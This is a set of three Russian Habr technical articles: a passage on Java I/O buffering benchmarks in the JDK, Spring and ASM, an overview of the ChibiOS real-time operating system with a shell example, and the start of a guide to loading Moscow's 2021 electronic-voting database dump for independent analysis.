После него удалось получить желаемый прирост:
```
original 1166.3 ns/op
patched 1058.8 ns/op
```
Возникает закономерный вопрос: а почему бы не вклеить вообще всё и получить цельный кусок ассемблера? [Ответ](https://mail.openjdk.java.net/pipermail/hotspot-compiler-dev/2020-July/039315.html):
> If you never share code you ends up with several giga bytes of assembly codes which destroy your perf because you start to have a lot of cache miss on the instructions. So there is a trade off between a theoritical fully inlined program and a never inlined program.
>
>
Действительно, давайте представим себе полностью вклеенную программу: у нас есть цельный кусок ассемблера. Получается, что если раньше мы использовали повторно тело какого-нибудь `String.isEmpty()`, то теперь тело этого метода будет вклеено в **каждую** точку обращения к нему. В этом случает объём скомпилированного кода из-за отсутствия переиспользования вырастет лавинообразно. Поместится ли такой кусок в кэш целиком? Вряд ли, что приведёт к промахам при обращении к кэшу (cache-miss), а это будет бить по производительности, ведь процессору будет необходимо постоянно подгружать нужный код из ОЗУ в кэш.
Ввиду сказанного выше разработчики ВМ и компилятора пришли к компромиссу между встраиванием и повторным использованием.
Вывод для разработчика:
* улучшения "под копирку" работают не всегда
* после улучшения всегда проверяйте конечный сценарий
### Нюансы реализации
Работающие со вводом-выводом знают, что буферизация - это эффективное средство улучшить производительность ведь чтение и/или запись отдельных байтов стоят дорого:
```
@State(Scope.Thread)
@BenchmarkMode(Mode.AverageTime)
@OutputTimeUnit(TimeUnit.MICROSECONDS)
@Fork(jvmArgsAppend = {"-Xms2g", "-Xmx2g"})
public class BufferedReaderBenchmark {
private File file;
@Setup
public void setUp() throws Exception {
String path = "tsypanov/strings/buffered/BufferReaderBenchmark.class";
URL resource = getClass()
.getClassLoader()
.getResource(path);
file = new File(resource.getFile());
}
@Benchmark
public void readFromFile(Blackhole bh) throws Exception {
int value;
try (var is = new FileInputStream(file)) {
while ((value = is.read()) != -1) {
bh.consume(value);
}
}
}
}
```
Метод `readFromFile()`считывает содержимое файла байт за байтом:
```
Benchmark Score Error Units
readFromFile 2561.488 ± 16.869 us/op
readFromFile:·gc.alloc.rate.norm 148.550 ± 2.144 B/op
```
Попробуем буферизацию:
```
@Benchmark
public void readBufferedFromFile(Blackhole bh) throws Exception {
int value;
try (var is = new BufferedInputStream(new FileInputStream(file))) {
while ((value = is.read()) != -1) {
bh.consume(value);
}
}
}
```
Отлично, считывание ускорилось в скромных 20 раз:
```
Benchmark Score Error Units
readFromFile 2561.488 ± 16.869 us/op
readBufferedFromFile 92.418 ± 3.145 us/op
readFromFile:·gc.alloc.rate.norm 148.550 ± 2.144 B/op
readBufferedFromFile:·gc.alloc.rate.norm 8393.668 ± 0.264 B/op
```
Это стало возможным за счёт использования промежуточного массива, куда считывается сразу пачка данных, сильно удешевляя тем самым чтение отдельного байта. Разумеется, бесплатно ничего не достаётся, о чём свидетельствует взрывной рост потребления памяти. И всё же общая производительность существенно улучшается, что показывает прогон с измерением пропускной способности:
```
Benchmark Score Error Units
readFromFile 388.860 ± 0.960 ops/s
readBufferedFromFile 4762.997 ± 609.229 ops/s
```
Даже выросшее потребление памяти (и соответственно, нагрузка на GC) не мешает буферизированному чтению более чем на порядок превосходить обычное.
Вроде всё просто и очевидно. Где же нюанс? А нюанс возникает, когда буферизацией начинают злоупотреблять:
```
@State(Scope.Thread)
@BenchmarkMode(Mode.AverageTime)
@OutputTimeUnit(TimeUnit.MICROSECONDS)
@Fork(jvmArgsAppend = {"-Xms2g", "-Xmx2g"})
public class BufferedReaderBenchmark {
private URL url;
@Setup
public void setUp() throws Exception {
String path = "tsypanov/strings/buffered/BufferReaderBenchmark.class";
URL resource = getClass()
.getClassLoader()
.getResource(path);
url = resource.toURI().toURL();
}
@Benchmark
public void readFromURL(Blackhole bh) throws Exception {
int value;
try (var is = url.openStream()) {
while ((value = is.read()) != -1) {
bh.consume(value);
}
}
}
@Benchmark
public void readBufferedFromURL(Blackhole bh) throws Exception {
int value;
try (var is = new BufferedInputStream(url.openStream())) {
while ((value = is.read()) != -1) {
bh.consume(value);
}
}
}
}
```
Этот бенчмарк полностью повторяет предыдущий за одним исключением: здесь читаем не из файла напрямую, а из ссылки на него. Получается так:
```
Benchmark Score Error Units
readFromURL 93.332 ± 3.190 us/op
readBufferedFromURL 93.802 ± 7.419 us/op
readFromURL:·gc.alloc.rate.norm 8592.120 ± 3.636 B/op
readBufferedFromURL:·gc.alloc.rate.norm 16835.122 ± 0.246 B/op
```
Здесь буферизация не ускорила чтение, но потребление памяти выросло почти в 2 раза. Причина в реализации `FileURLConnection.connect()`, который вызывается из `FileURLConnection.getInputStream()`:
```
public void connect() throws IOException {
if (!connected) {
try {
filename = file.toString();
isDirectory = file.isDirectory();
if (isDirectory) {
//...
} else {
is = new BufferedInputStream(new FileInputStream(filename)); // <-
}
} catch (IOException e) {
throw e;
}
connected = true;
}
}
```
Здесь возвращается уже буферизированный поток чтения, поэтому дополнительное оборачивание приводит к переливанию из пустого в порожнее, что увеличивает потребление памяти и снижает пропускную способность:
```
Benchmark Score Error Units
readBufferedFromURL 11840.985 ± 37.790 ops/s
readBufferedFromURL:·gc.count 1281.000 counts
readBufferedFromURL:·gc.time 711.000 ms
readFromURL 12106.742 ± 40.567 ops/s
readFromURL:·gc.count 667.000 counts
readFromURL:·gc.time 435.000 ms
```
Обратите внимание на существенно выросшее количество сборок мусора и затраченное на них время.
На мой взгляд, это - большая недоработка, корнями уходящая в 1996 год с медленным железом и файловыми системами, из-за чего разработчики JDK решили буферизировать поток ввода из файла по умолчанию. В 2021 году это скорее вредит:
```
@State(Scope.Thread)
@BenchmarkMode(Mode.AverageTime)
@OutputTimeUnit(TimeUnit.MICROSECONDS)
@Fork(jvmArgsAppend = {"-Xms2g", "-Xmx2g"})
public class FileInputStreamBenchmark {
private final String file = "/home/s.tsypanov/.bashrc"; // 4362 байта
//private final String file = "/home/s.tsypanov/IMAG2549.jpg"; // 2,7 МБ
@Benchmark
public Object readAllBytes() throws IOException {
try (var fileInputStream = new FileInputStream(file)) {
return fileInputStream.readAllBytes();
}
}
@Benchmark
public Object readAllBytesBuffered() throws IOException {
try (var in = new FileInputStream(file)) {
return new BufferedInputStream(in).readAllBytes();
}
}
}
```
Этот бенчмарк использует новый метод `InputStream.readAllBytes()`для считывания всего файла (именно это нужно обычному разработчику в 9 случаях из 10):
```
Score Error Units
read 5.9 ± 0.03 us/op
readBuffered 7.3 ± 0.01 us/op
read:·gc.alloc.rate.norm 12782.4 ± 3.92 B/op
readBuffered:·gc.alloc.rate.norm 21030.4 ± 3.92 B/op
```
Смотрите, как любопытно получается: при чтении файла из локальной файловой системы буферизация не только не помогает, но и мешает. Попробуем сделать то же для большого (относительно размера буфера) файла (см. закомментированный код выше):
```
Score Error Units
read 1068.1 ± 19.95 us/op
readBuffered 1068.1 ± 10.99 us/op
read:·gc.alloc.rate.norm 5478584.1 ± 0.17 B/op
readBuffered:·gc.alloc.rate.norm 5486832.1 ± 0.17 B/op
```
Здесь отрицательное влияние буферизации почти незаметно. Причина замедления в обоих случаях одна и та же: промежуточный буфер внутри `BufferedInputStream`:
```
private void fill() throws IOException {
byte[] buffer = getBufIfOpen();
if (markpos < 0)
pos = 0; /* no mark: throw away the buffer */
else if (pos >= buffer.length) /* no room left in buffer */
/* ... */
count = pos;
int n = getInIfOpen().read(buffer, pos, buffer.length - pos); // <---
if (n > 0)
count = n + pos;
}
```
Метод `fill()`использует `InputStream.read(byte[], int, int)`для чтения большой пачки данных, но ровно это же напрямую делает `InputStream.readNBytes(int)`:
```
public byte[] readNBytes(int len) throws IOException {
//...
int total = 0;
int remaining = len;
int n;
do {
byte[] buf = new byte[Math.min(remaining, DEFAULT_BUFFER_SIZE)];
int nread = 0;
// read to EOF which may read more or less than buffer size
while ((n = read(buf, nread,
Math.min(buf.length - nread, remaining))) > 0) {
nread += n;
remaining -= n;
}
//...
}
//...
return result;
}
```
Мне кажется, что изначально разработчикам вместо явной буферизации (которую теперь уже не выпилить) стоило бы указать в документации, что возвращаемый поток не буферизирован, и при необходимости клиент должен сделать это самостоятельно. Именно это делает `Files.newInputStream(Path)`:
```
/**
* The stream will not be buffered,
* and is not required to support the mark or reset methods.
*/
public static InputStream newInputStream(Path path, OpenOption... options) {}
```
Грамотные разработчики библиотек тоже указывают наличие/отсутствие буферизации потока ввода/вывода, как это сделано в `org.apache.commons.io.IOUtils`:
```
/**
* All the methods in this class that read a stream are buffered internally.
* This means that there is no cause to use a BufferedInputStream
* or BufferedReader. The default buffer size of 4K has been shown
* to be efficient in tests.
*
* Applications can re-use buffers by using the underlying methods directly.
* This may improve performance for applications that need to do a lot of copying.
*/
public class IOUtils {
/**
* This method buffers the input internally, so there is no need
* to use a BufferedInputStream.
*/
List readLines(InputStream input, Charset encoding) {}
}
```
#### Промежуточный вывод для разработчика
В наличии есть 2 бенчмарка, которые делают одно и то же, но разными способами. **Первый бенчмарк неопровержимо доказывает пользу буферизации, второй - столько же неопровержимо доказывает её вред. Какому бенчмарку верить?** Оба написаны и работают правильно, а **для принятия решения в конкретной ситуации необходимо вникнуть в контекст**.
Мне кажется, что привычка буферизировать любой поток ввода-вывода вредна, см.
* <https://github.com/openjdk/jdk/pull/2992/files>
* <https://bugs.openjdk.java.net/browse/JDK-8263599>
#### Извлечение пользы из сакрального знания
Рассмотрим часть кода класса `o.s.core.type.classreading.SimpleMetadataReader`, использующегося для считывания метаданных загруженных классов в "Спринге":
```
private static ClassReader getClassReader(Resource resource) throws IOException {
try (InputStream is = new BufferedInputStream(resource.getInputStream())) {
try {
return new ClassReader(is);
}
catch (IllegalArgumentException ex) {
throw new NestedIOException("..." + resource, ex);
}
}
}
```
Здесь `resource.getInputStream()` оборачивается в `BufferedInputStream` и вы, вероятно, уже догадываетесь, куда ветер дует:
Также буферизированное чтение происходит внутри класса `o.s.asm.ClassReader`:
```
static byte[] readStream(InputStream is, boolean close) throws IOException {
if (is == null) {
throw new IOException("Class not found");
}
try (ByteArrayOutputStream outputStream = new ByteArrayOutputStream()) {
byte[] data = new byte[INPUT_STREAM_DATA_CHUNK_SIZE];
int bytesRead;
while ((bytesRead = is.read(data, 0, data.length)) != -1) {
outputStream.write(data, 0, bytesRead);
}
outputStream.flush();
return outputStream.toByteArray();
} finally {
if (close) {
is.close();
}
}
}
```
Вновь делается двойная работа, бесполезность которой позволяет оценить этот бенчмарк:
```
@State(Scope.Thread)
@BenchmarkMode(Mode.AverageTime)
@OutputTimeUnit(TimeUnit.MICROSECONDS)
@Fork(jvmArgsAppend = {"-Xms2g", "-Xmx2g"})
public class MetadataReaderBenchmark {
final MetadataReaderFactory factory = new SimpleMetadataReaderFactory();
@Benchmark
public Object read() throws IOException {
String className = AnnotatedComponent.class.getName();
return factory
.getMetadataReader(className)
.getAnnotationMetadata();
}
// подопытный компонент
@Component("myComp")
@Scope(BeanDefinition.SCOPE_PROTOTYPE)
private static class AnnotatedComponent implements Serializable {
private final Dependency dep;
@Autowired
public AnnotatedComponent(@Qualifier("myDep") Dependency dep) {
this.dep = dep;
}
private static class Dependency {
}
}
}
```
Запустив его дважды (с оборачиванием и без него) получаем:
```
Java 8
original
Score Error Units
read 122.041 ± 1.286 us/op
read:·gc.alloc.rate.norm 50795.798 ± 13.941 B/op
patched
Score Error Units
read 119.524 ± 1.171 us/op
read:·gc.alloc.rate.norm 42635.578 ± 10.866 B/op
Java 11
original
Score Error Units
read 114.142 ± 3.338 us/op
read:·gc.alloc.rate.norm 32761.715 ± 29.115 B/op
patched
Score Error Units
read 108.903 ± 1.281 us/op
read:·gc.alloc.rate.norm 24652.976 ± 32.380 B/op
```
Таким образом, просто [выбросив ненужную буферизацию](https://github.com/spring-projects/spring-framework/pull/24946) мы получили неплохую экономию памяти и небольшое снижение времени выполнения.
Будет ли от этого толк в масштабе приложения? Чтобы проверить это можно собрать Спринг с указанным изменением и воспользоваться [бенчмарком](https://github.com/stsypanov/spring-boot-benchmark):
```
@State(Scope.Thread)
@BenchmarkMode(Mode.SingleShotTime)
@OutputTimeUnit(TimeUnit.MILLISECONDS)
@Fork(jvmArgsAppend = {"-Xms2g", "-Xmx2g"})
public class SpringBootApplicationBenchmark {
private ConfigurableApplicationContext context;
@Benchmark
public Object startUp() {
return context = SpringApplication.run(BenchmarkApplication.class);
}
@TearDown(Level.Invocation)
public void close() {
context.close();
}
}
```
Здесь мы измеряем время, необходимое для запуска приложения на Спринг-Буте:
```
original
startUp 760.1 ± 13.5 ms/op
startUp:·gc.alloc.rate.norm 50429174.6 ± 18132.0 B/op
patched
startUp 718.7 ± 20.5 ms/op
startUp:·gc.alloc.rate.norm 49776228.7 ± 19919.8 B/op
```
Пока не особо впечатляет, но даже такое простое изменение даёт прирост.
Критически настроенный читатель посчитает это изменение чересчур резким, ведь у интерфейса `Resource` есть 44 (!) реализации:
Возможно, нам стоит использовать более щадящий подход а-ля Котлин:
```
// получение буферизированного потока ввода
return File(name).inputStream().buffered();
// реализация InputStream.buffered()
@kotlin.internal.InlineOnly
fun InputStream.buffered(size: Int = DEFAULT_BUFFER_SIZE) =
if (this is BufferedInputStream)
this
else
BufferedInputStream(this, size)
```
Раз всё дело в избыточном заворачивании в `BufferedInputStream`, то ничто не мешает нам соорудить что-то вроде:
```
static InputStream buffered(InputStream is) {
return is instanceof BufferedInputStream
? is
: new BufferedInputStream(is);
}
```
и использовать его в `SimpleMetadataReader`-е.
Но и тут есть нюансы, ведь у `InputStream`a есть множество реализаций, например, `ByteArrayInputStream`, который не является подклассом `BufferedInputStream`-а, а значит он будет обёрнут:
```
public class ByteArrayInputStream extends InputStream {
protected byte buf[];
public synchronized int read() {
return pos < count ? buf[pos++] & 0xff : -1;
}
public synchronized int read(byte b[], int off, int len) {
//...
System.arraycopy(buf, pos, b, off, len);
}
}
```
Уже поверхностное рассмотрение кода показывается бессмысленность использования `BufferedInputStream`-а, что подтверждается бенчмарком:
```
@BenchmarkMode(Mode.AverageTime)
@OutputTimeUnit(TimeUnit.NANOSECONDS)
public class ByteArrayInputStreamBenchmark {
@Benchmark
public Object read(Data data) {
return data.bais.readAllBytes();
}
@Benchmark
public Object readBuffered(Data data) throws IOException {
return new BufferedInputStream(data.bais).readAllBytes();
}
@State(Scope.Thread)
public static class Data {
@Param({"8", "128", "512", "1024"})
private int length;
private byte[] bytes;
private ByteArrayInputStream bais;
@Setup(Level.Iteration)
public void setUp() {
bytes = new byte[length];
ThreadLocalRandom.current().nextBytes(bytes);
}
@Setup(Level.Invocation)
public void setUpBais() {
bais = new ByteArrayInputStream(bytes);
}
}
}
```
дающим совершенно сногсшибательные результаты:
```
length
read 8 35.673 ± 0.591 ns/op
read 128 38.245 ± 0.918 ns/op
read 512 46.110 ± 1.652 ns/op
read 1024 60.487 ± 0.687 ns/op
readBuffered 8 869.221 ± 3.573 ns/op
readBuffered 128 876.611 ± 10.665 ns/op
readBuffered 512 890.678 ± 3.481 ns/op
readBuffered 1024 914.731 ± 8.759 ns/op
read:·gc.alloc.rate.norm 8 56.000 ± 0.001 B/op
read:·gc.alloc.rate.norm 128 176.000 ± 0.001 B/op
read:·gc.alloc.rate.norm 512 560.000 ± 0.001 B/op
read:·gc.alloc.rate.norm 1024 1072.000 ± 0.001 B/op
readBuffered:·gc.alloc.rate.norm 8 16512.001 ± 0.001 B/op
readBuffered:·gc.alloc.rate.norm 128 16632.001 ± 0.001 B/op
readBuffered:·gc.alloc.rate.norm 512 17016.001 ± 0.001 B/op
readBuffered:·gc.alloc.rate.norm 1024 17528.001 ± 0.001 B/op
```
Обратите внимание на огромный перерасход памяти: 17 килобайт использовано для чтения 1. Всё очень и очень празднично.
Хорошо, немного поправим наше решение:
```
public static InputStream buffered(InputStream is) {
return requiresBuffer(is) ? is : new BufferedInputStream(is);
}
private static boolean requiresBuffer(InputStream is) {
return is instanceof BufferedInputStream
|| is instanceof ByteArrayInputStream;
}
```
Теперь найдём наиболее часто используемые реализации. Вот один из примеров:
Но и для этого класса буферизация оказывается вредной.
```
@State(Scope.Thread)
@BenchmarkMode(Mode.AverageTime)
@OutputTimeUnit(TimeUnit.MICROSECONDS)
public class ResourceLoadBenchmark {
private Resource resource;
@Setup
public void setUp(){
String str = "classpath:org/springframework/boot/autoconfigure/orm"
+ "/jpa/DataSourceInitializedPublisher$Registrar.class";
DefaultResourceLoader defaultResourceLoader = new DefaultResourceLoader();
resource = defaultResourceLoader.getResource(str);
}
@Benchmark
public Object read() throws IOException {
try (InputStream is = resource.getInputStream()) {
return new ClassReader(is);
}
}
@Benchmark
public Object readBuffered() throws IOException {
try (InputStream is = new BufferedInputStream(resource.getInputStream())) {
return new ClassReader(is);
}
}
}
```
```
read 23.095 ± 0.548 us/op
readBuffered 23.044 ± 0.229 us/op
read:·gc.alloc.rate.norm 36804.834 ± 31.763 B/op
readBuffered:·gc.alloc.rate.norm 44993.634 ± 31.439 B/op
```
Собрав статистику выкатываем итоговую версию:
```
private static boolean requiresBuffer(InputStream is) {
return is instanceof BufferedInputStream
|| is instanceof ByteArrayInputStream
|| is instanceof ChannelInputStream
|| is instanceof ZipFile.ZipFileInflaterInputStream;
}
```
И сразу появляется неудобство:
```
// класс приватный и в коде выше ошибка компиляции
private class ZipFileInflaterInputStream extends InflaterInputStream {
//...
}
```
Злоключения на этом не заканчиваются, ведь кодовая база "Спринга" всё ещё использует "восьмёрку", но рано или поздно настанет день обновления, и тогда у нас появится ещё одна ошибка:
```
error: package sun.nio.ch is not visible
import sun.nio.ch.ChannelInputStream;
^
(package sun.nio.ch is declared in module java.base, which does not
export it to the unnamed module)
```
В "девятке" пакет sun.nio.ch не экспортируется модулем java.base, поэтому использовать его больше не получится.
Если бы мы жили в идеальном мире, то InputStream был бы интерфейсом, в который было бы достаточно добавить один метод:
```
public interface InputStream extends Closeable {
default boolean isBuffered() {
return false;
}
}
```
и использовать его вот так:
```
public static InputStream buffered(InputStream is) {
return is.isBuffered() ? is : new BufferedInputStream(is);
}
```
Теперь вернёмся к org.springframework.asm.ClassReader, возможно из него можно выжать ещё что-нибудь.
```
static byte[] readStream(InputStream is, boolean close) throws IOException {
try (ByteArrayOutputStream outputStream = new ByteArrayOutputStream()) {
byte[] data = new byte[INPUT_STREAM_DATA_CHUNK_SIZE];
int bytesRead;
while ((bytesRead = is.read(data, 0, data.length)) != -1) {
outputStream.write(data, 0, bytesRead);
}
outputStream.flush();
return outputStream.toByteArray();
} finally {
if (close) {
is.close();
}
}
}
```
Большой недостаток этого метода в выделении буфера постоянного размера:
Обратите внимание: для чтения 421 байта выделено 4 кБ - в 10 раз больше, чем необходимо. Также в том случае, когда метод `InputStream.read(byte[], int, int)`смог считать все данные сразу в буфер нужного размера, вызов `OutputStream.toByteArray()`стал бы ненужен, ведь массив data уже содержит все данные, а значит можно вернуть его из метода избежав копирования.
Зайдём в лоб и воспользуемся `InputStream.available()`:
```
int expectedLength = inputStream.available();
try (ByteArrayOutputStream os = new ByteArrayOutputStream()) {
byte[] data = new byte[expectedLength];
int bytesRead;
while ((bytesRead = inputStream.read(data, 0, available)) != -1) {
os.write(data, 0, bytesRead);
}
os.flush();
return expectedLength == os.size() ? data : os.toByteArray();
}
```
И тут же облом:
```
/**
* ... A single read or skip of this many bytes will not block, but
* may read or skip fewer bytes.
* ...
* It is never correct to use the return value of this method
* to allocate a buffer intended to hold all data in this stream.
**/
public int available() throws IOException { }
```
Мы не можем полагаться на `expectedLength == os.size()`, т. к. возможен случай, в котором `InputStream.available()`вернёт 3 кБ, но при чтении будет получено только 2, из-за чего мы пойдём на второй проход по циклу. В итоге условие `expectedLength == os.size()`будет выполнено, но data будет содержать только 1 кБ из 3, что закончится падением контекста.
Что ж, изменим код чтобы явно отслеживать количество чтений:
```
int expectedLength = inputStream.available();
try (ByteArrayOutputStream os = new ByteArrayOutputStream()) {
byte[] data = new byte[expectedLength];
int bytesRead;
int readCount = 0;
while ((bytesRead = inputStream.read(data, 0, bufferSize)) != -1) {
os.write(data, 0, bytesRead);
readCount++;
}
os.flush();
return readCount == 1 ? data : os.toByteArray();
}
```
Это вполне рабочий вариант, но он всё ещё таит скрытую угрозу:
```
var file = new File("/home/s.tsypanov/.bashrc");
var fileInputStream = new FileInputStream(file);
var available = fileInputStream.available(); // 4362 байта
var arrayLength = fileInputStream.readAllBytes().length; // 4362 байта
var file = new File("/proc/self/stat");
var fileInputStream = new FileInputStream(file);
var available = fileInputStream.available(); // 0 байт
var arrayLength = fileInputStream.readAllBytes().length; // 324 байта
```
Оказывается, Линукс допускает существование файлов, которые притворяются пустыми, но в действительности содержат данные. Конечно, если classpath вашего приложения расположен в `/proc`, то вы более чем странный человек, но такую возможность исключать нельзя, поэтому перестрахуемся:
```
int expectedLength = inputStream.available();
int bufferSize = expectedLength < 256
? INPUT_STREAM_DATA_CHUNK_SIZE
: expectedLength;
// ...
byte[] data = new byte[bufferSize];
```
И это даже приносит пользу!
```
original
startUp 760.1 ± 13.5 ms/op
startUp:·gc.alloc.rate.norm 50429174.6 ± 18132.0 B/op
no BufferedInputStream
startUp 718.7 ± 20.5 ms/op
startUp:·gc.alloc.rate.norm 49776228.7 ± 19919.8 B/op
улучшенный ClassReader.readStream()
startUp 614.8 ± 7.0 ms/op <--- !
startUp:·gc.alloc.rate.norm 49003403.9 ± 21786.8 B/op
```
Окрылённый успехом я создал ПР [Improve performance of ASM's ClassReader.readStream()](https://github.com/spring-projects/spring-framework/pull/26665) , забыв, что `ClassReader` целиком скопирован из библиотек ASM, поэтому правильнее всё-таки создать ПР туда, что я и [сделал](https://gitlab.ow2.org/asm/asm/-/merge_requests/314). Однако, разработчикам ASM-а идея показалась слишком смелой, поэтому пока изменения лежат без движения. Нужно отметить, что ASM - это не совсем обычная библиотека, многие её используют путём копирования исходников в свой проект (кроме Спринга так же сделали в JDK).
В любом случае, похожий финт ушами в можете делать в своих проектах самостоятельно.
#### Вывод для разработчика
* производительность ввода-вывода - это "страна, где много-много диких обезьян" и всё в ней делается на свой страх и риск
* ни один из рецептов не должен быть догмой, даже такая очевидно полезная вещь, как буферизация нередко вредит
* указывайте в документации ваших методов необходимость буферизации или её отсутствия. Да, это детали реализации, но часто они очень важны
### Итоговые выводы
* правильно истолковать цифры бенчмарка столь же важно, как и правильно написать этот самый бенчмарк
* без понимания природы цифр сами по себе они бесполезны
* измерять нужно именно конечный сценарий, улучшение частного может ухудшить целое
* изменения под копирку работают не всегда
* вникайте в контекст, производительность – это немного про археологию
* в производительности изучайте реализации, а не только интерфейс, а также не доверяйте слепа красотам/ужасам документации
З.Ы. Бенчмарки для IO лежат [тут](https://github.com/stsypanov/ovn). | https://habr.com/ru/post/518744/ | null | ru | null |
# ChibiOS: легковесная RTOS
В этой статье я хочу представить и вкратце описать члена семейства ОС реального времени — ChibiOS.
#### Лицензия
В первую очередь про лицензирование. ChibiOS является свободной RTOS и имеет несколько вариантов лицензирования — GPL 3.0, GPL 3.0 c некоторыми исключениями при линковке и коммерческую лицензию.
Код драйверов в большинстве случаев идет под лицензией Apache-2.0.
Со всеми вариантами лицензирования можно ознакомиться на сайте проекта. Представленные варианты должны полностью удовлетворить любителей, а также компании, которые не хотят платить за использование данной операционной системы.
#### Структура
Проект логически разделен на несколько подсистем:
* HAL прослойка с реализацией драйверов под различные устройства,
* базовые функции ядра под определенную архитектуру(обслуживание прерываний, переключение контекста и т.д.),
* код самого ядра операционной системы.
В приложение ко всему есть несколько надстроек над этим всем делом.
Сама ChibiOS реализована на C и ассемблере но есть также обертки для C++.
#### Ядро
ChibiOS, как и любая другая уважающая себя RTOS имеет планировщик задач с поддержкой вытеснения и на данный момент имеет два варианта функционирования:
* кооперативное распределение времени между задачами с одним приоритетом
* Round-Robin планирование задач с одинаковым приоритетом с указанием кванта времени на задачу
В данным момент опции планировщика задаются глобально во время компиляции.
Для переключения контекста, планировщиком ядра используется системный счетчик который также используется для виртуальных таймеров.
Естественно, любое прерывание может привести к переключению контекста если в этом есть необходимость.
В текущей версии ChibiOS(2.x) период системного таймера фиксирован(на этапе сборки).
В будущей версии(3.0) разработчики планируют перейти к функционированию ядра без периодических прерываний(tickless scheduler).
Само ядро предоставляет базовые элементы синхронизации(mutex, semaphore), управления памятью(heap, mempool), разнообразные примитивы управления очередями(включая mbox и events) и конечно средства управления задачами.
В ChibiOS есть возможность создавать задачи как статически, так и динамически.
#### Устройства и архитектуры
Примечательной особенностью ChibiOS можно назвать поддержку достаточно широкого спектра архитектур.
Официально поддерживаемые архитектуры: ARMv5-7(LPC1x, LPC2x, STM32), STM8, PPC, MSP430, MegaAVR.
Из неофициальных можно отметить Mips32(qemu, pic32mx), AVR32, Coldfire и NiosII.
Конечно, этот список не может тягаться с FreeRTOS, но на личном опыте скажу, что добавлять новую архитектуру не так тяжело, как может показаться.
В базовый набор драйверов из HAL входит достаточно широкий спектр периферии: ADC, CAN, DMA, TMR, I2C, I2S, ICU, GPIO, PWM, RTC, SPI, UART, USB. В общем, практически все общераспространенные компоненты современных SoC.
В HAL дополнительно присутствует несколько надстроек над вышеперечисленными компонентами(USB ACM, MMC/SPI и другие), которые я бы вынес за пределы этого слоя. Но так, видимо, сложилось исторически.
#### Мелочи
Из «плюшек» можно выделить возможность подключение uIP, lwIP и FATFS(реализация от некоего г-на ChaN).
Так же есть достаточно удобный в использовании shell — мелочь, а приятно.
API большинства подсистем достаточно прост и читабелен(особенно ядра), хотя в некоторых случаях без примера не обойтись.
Иногда расстраивает зависимость API некоторых драйверов от платформы под которую изначально разрабатывался драйвер, но насколько я понял, драйвера не являются главным приоритетом ОС и разрабатываются кустарно под текущую задачу. Местами попадаются плотные скопления дублированного кода.
Вроде как планируется вынести весь HAL в отдельный репозиторий. Также есть потенциальная опасность того, что в будущих версиях ChibiOS HAL перепишут на С++.
Из особо слабых сторон я бы отметил конфигурирование системы макросами(набор драйверов, особенности функционирования подсистем и т.д.). Это достаточно усложняет поддержку out-of-tree проектов при удалении или добавлении тех или иных опций в mainstream.
Есть некоторые дизайнерские решения которые мне не по-душе, но, возможно, это личное предпочтение.
#### Пример
И на затравку небольшой пример инициализации системы и создания shell. Код представлен без комментариев умышленно.
```
#include "ch.h"
#include "hal.h"
#include "shell.h"
#include "chprintf.h"
static void oNotifySD1(GenericQueue *qp) {
msg_t b;
b = sdRequestDataI(&SD1);
if (b != Q_EMPTY)
sd_lld_putc(&SD1, b);
}
#define SHELL_WA_SIZE THD_WA_SIZE(1024)
static void cmd_test(BaseSequentialStream *chp, int argc, char *argv[]) {
chprintf(chp, "ChibiOS test suite\n");
TestThread(chp);
}
static const ShellCommand shCmds[] = {
{"test", cmd_test},
{NULL, NULL}
};
static const ShellConfig shCfg = {
(BaseSequentialStream *)&SD1,
shCmds
};
int main(void) {
Thread *sh = NULL;
halInit();
chSysInit();
{
const SerialConfig sc = {
.sc_baud = SERIAL_DEFAULT_BITRATE,
.sc_rxirq = EIC_IRQ_UART1_RX,
.sc_port = _UART1_BASE_ADDRESS
};
sdObjectInit(&SD1, NULL, oNotifySD1);
sdStart(&SD1, ≻);
}
shellInit();
for (;;) {
if (!sh)
sh = shellCreate(&shCfg, SHELL_WA_SIZE, NORMALPRIO);
else if (chThdTerminated(sh)) {
chThdRelease(sh);
sh = NULL;
}
chThdSleepMilliseconds(1000);
}
```
Чуть не забыл упомянуть, что главой и диктатором проекта является г-н Giovanni Di Sirio.
И конечно ссылка на сайт: [ChibiOs](http://www.chibios.org).
Спасибо за внимание. | https://habr.com/ru/post/181912/ | null | ru | null |
# Что же не так с ДЭГ в Москве?
Что же не так с ДЭГ в Москве
============================
Последние три дня я занимался тем, что анализировал результаты ДЭГ в Москве по одномандатным округам в Госдуму. У меня есть некоторые результаты, которыми я бы хотел поделиться с общественностью. Однако основная цель этого поста — поделиться накопленными знаниями, чтобы кто-то ещё мог взглянуть на те данные, что лежат в блокчейне и перепроверить результаты.
Где лежат результаты и как их проверять
---------------------------------------
Часть исходного кода системы лежит в репозитории [github.com/moscow-technologies/blockchain-voting\_2021](https://github.com/moscow-technologies/blockchain-voting_2021). Там лежит исходный код той части, которая про блокчейн, транзакции и тд, а также какой-то код фронтенда, написанный на JS. Отдельно отмечу некоторый забавный факт, что вместо общего репозитория со всем кодом там лежит несколько .tar.gz архивов, внутри которых уже есть код. В репозитории всего 4 коммита, сам код публиковали только 2 раза: 22 августа и 6 сентября. Никакой истории разработки у нас нет. Чтобы не приходилось распаковывать эти архивы — я залил распакованный репозиторий к себе на Github, можете читать код из браузера, если кому лень загружать и распаковывать самостоятельно: [github.com/PeterZhizhin/blockchain-voting\_2021\_extracted](https://github.com/PeterZhizhin/blockchain-voting_2021_extracted)
На сайте [observer.mos.ru/all](https://observer.mos.ru/all/) можно скачать дампы системы электронного голосования по одномандатным выборам, внутри которого будет лежать база с транзакциями, результаты расшифровки голосов и блоки в блокчейне. По кнопке “Скачать SQL дамп” загружается gz архив, внутри которого лежит один .sql файл.
Чтобы загрузить этот файл вам необходимо поднять у себя PostgreSQL базу. Я сделал это как-то вот так:
```
createdb -U postgres observer_20210920_090000
psql -U postgres -d observer_20210920_090000 -f <путь до распакованного SQL файла>
```
Процесс занимает достаточно много времени, зависит от скорости вашего диска, а итоговый размер базы данных будет около 15-17 гигабайт для одномандатных выборов в ГД для базы с сайта [observer.mos.ru/all/servers/1/txs](https://observer.mos.ru/all/servers/1/txs).
Внутри базы будет лежать три таблицы:
```
blocks, decrypted_ballots, transactions
```
.
**Схема баз данных**
```
CREATE TABLE public.blocks (
height bigint NOT NULL,
tx_count bigint DEFAULT 0,
prev_hash character varying(64) NOT NULL,
tx_hash character varying(64) NOT NULL,
state_hash character varying(64) NOT NULL,
error_hash character varying(64) NOT NULL,
additional_headers json NOT NULL,
precommits json NOT NULL,
txs json NOT NULL,
datetime timestamp with time zone NOT NULL
);
```
```
